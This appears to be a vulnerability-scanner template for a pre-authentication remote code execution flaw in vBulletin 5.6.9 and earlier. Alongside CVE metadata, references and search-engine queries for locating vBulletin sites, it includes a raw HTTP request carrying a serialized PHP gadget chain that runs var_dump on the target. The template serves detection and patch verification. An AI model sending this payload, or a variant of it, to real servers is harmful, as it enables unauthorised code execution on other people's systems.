60 lines
2.9 KiB
YAML
60 lines
2.9 KiB
YAML
id: CVE-2023-25135
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info:
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name: vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
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remediation: Upgrade to the latest version to mitigate this vulnerability.
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reference:
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- https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable
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- https://github.com/ambionics/vbulletin-exploits/blob/main/vbulletin-rce-cve-2023-25135.py
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- https://nvd.nist.gov/vuln/detail/CVE-2023-25135
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- https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4473890-vbulletin-5-6-9-security-patch
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-25135
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cwe-id: CWE-502
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epss-score: 0.50999
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epss-percentile: 0.97255
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cpe: cpe:2.3:a:vbulletin:vbulletin:5.6.7:-:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: vbulletin
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product: vbulletin
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shodan-query: http.component:"vBulletin"
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google-query: intext:"Powered By vBulletin"
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tags: cve,cve2023,vbulletin,rce,kev
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http:
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- raw:
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- |
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POST /ajax/api/user/save HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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adminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a"googlelogin_vendor_autoload"%3a0%3a{}i%3a1%3bO%3a32%3a"Monolog\Handler\SyslogUdpHandler"%3a1%3a{s%3a9%3a"%00*%00socket"%3bO%3a29%3a"Monolog\Handler\BufferHandler"%3a7%3a{s%3a10%3a"%00*%00handler"%3br%3a4%3bs%3a13%3a"%00*%00bufferSize"%3bi%3a-1%3bs%3a9%3a"%00*%00buffer"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a"CVE-2023-25135"%3bs%3a5%3a"level"%3bN%3b}}s%3a8%3a"%00*%00level"%3bN%3bs%3a14%3a"%00*%00initialized"%3bb%3a1%3bs%3a14%3a"%00*%00bufferLimit"%3bi%3a-1%3bs%3a13%3a"%00*%00processors"%3ba%3a2%3a{i%3a0%3bs%3a7%3a"current"%3bi%3a1%3bs%3a8%3a"var_dump"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'string(14)'
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- '"CVE-2023-25135"'
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condition: and
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- type: word
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part: header
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words:
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- "application/json"
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- type: status
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status:
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- 200
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# digest: 490a0046304402202b5c488a5fceb7672443e2bbbfa6ef08b900b5fcc9abaab328090c9da446a92802202b88cc6152941582697d436f5ac70ed9c86e90b7c1882a1600751d6020c04a1c:922c64590222798bb761d5b6d8e72950 |